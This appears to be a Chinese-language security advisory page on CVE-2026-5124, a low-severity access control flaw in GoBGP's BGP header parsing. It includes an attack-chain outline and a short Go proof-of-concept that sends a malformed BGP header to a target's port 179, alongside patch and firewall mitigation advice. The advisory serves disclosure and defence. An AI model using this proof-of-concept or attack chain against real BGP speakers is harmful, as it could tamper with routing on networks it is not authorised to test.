IPBUF安全漏洞报告
English
CVE-2026-5124 CVSS 3.7 低危

CVE-2026-5124:osrg GoBGP访问控制漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-5124
漏洞类型
访问控制错误
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
osrg GoBGP

相关标签

访问控制漏洞GoBGPCVE-2026-5124BGP协议网络安全

漏洞概述

osrg GoBGP 4.3.0及之前版本存在安全漏洞。该漏洞源于BGP Header Handler组件中的BGPHeader.DecodeFromBytes函数存在不当的访问控制。远程攻击者可利用此漏洞,尽管攻击复杂度高且利用难度大,但仍可能对系统完整性造成低程度影响。建议用户尽快部署补丁。

技术细节

该漏洞位于osrg GoBGP项目的`pkg/packet/bgp/bgp.go`文件中,具体影响`BGPHeader.DecodeFromBytes`函数。由于该函数在处理BGP协议头部数据时缺乏严格的访问控制验证,导致攻击者可以构造特定的网络数据包。虽然该漏洞的利用需要较高的复杂度且无需用户交互,但远程攻击者仍可利用此漏洞绕过部分安全限制。成功利用可能导致目标系统完整性受到低程度影响,尽管未直接影响机密性和可用性,但破坏了BGP会话建立过程中的信任机制,影响路由信息的正确处理。漏洞编号对应的补丁提交ID为f0f24a2a901cbf159260698211ab15c583ced131,修复了该逻辑缺陷。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找开放TCP 179端口的osrg GoBGP服务实例。
STEP 2
构造数据包
攻击者分析BGPHeader.DecodeFromBytes逻辑,构造能够绕过基本校验或触发逻辑错误的特制BGP数据包头部。
STEP 3
发起攻击
攻击者通过网络向目标GoBGP实例发送恶意数据包,无需认证即可触发漏洞。
STEP 4
利用影响
漏洞被触发后,可能导致系统完整性受损(如路由信息被篡改),但机密性和可用性未受直接影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "bytes" "encoding/binary" "net" ) // PoC for CVE-2026-5124: Improper Access Control in GoBGP // This code attempts to send a malformed BGP packet to trigger the vulnerability. func main() { target := "127.0.0.1:179" // Replace with actual target IP conn, err := net.Dial("tcp", target) if err != nil { panic(err) } defer conn.Close() // Construct a malicious BGP packet header buffer := new(bytes.Buffer) // BGP Marker (16 bytes) marker := make([]byte, 16) for i := range marker { marker[i] = 0xFF } buffer.Write(marker) // Length (2 bytes) and Type (1 byte) // Sending crafted data to trigger DecodeFromBytes flaw binary.Write(buffer, binary.BigEndian, uint16(20)) buffer.WriteByte(0xFF) // Invalid type // Send payload _, err = conn.Write(buffer.Bytes()) if err != nil { panic(err) } }

影响范围

osrg GoBGP <= 4.3.0

防御指南

临时缓解措施
建议立即应用官方提供的补丁或升级到修复版本。如果无法立即更新,应在网络防火墙层面严格限制仅允许受信任的IP地址建立BGP会话(TCP端口179),并监控异常的BGP流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表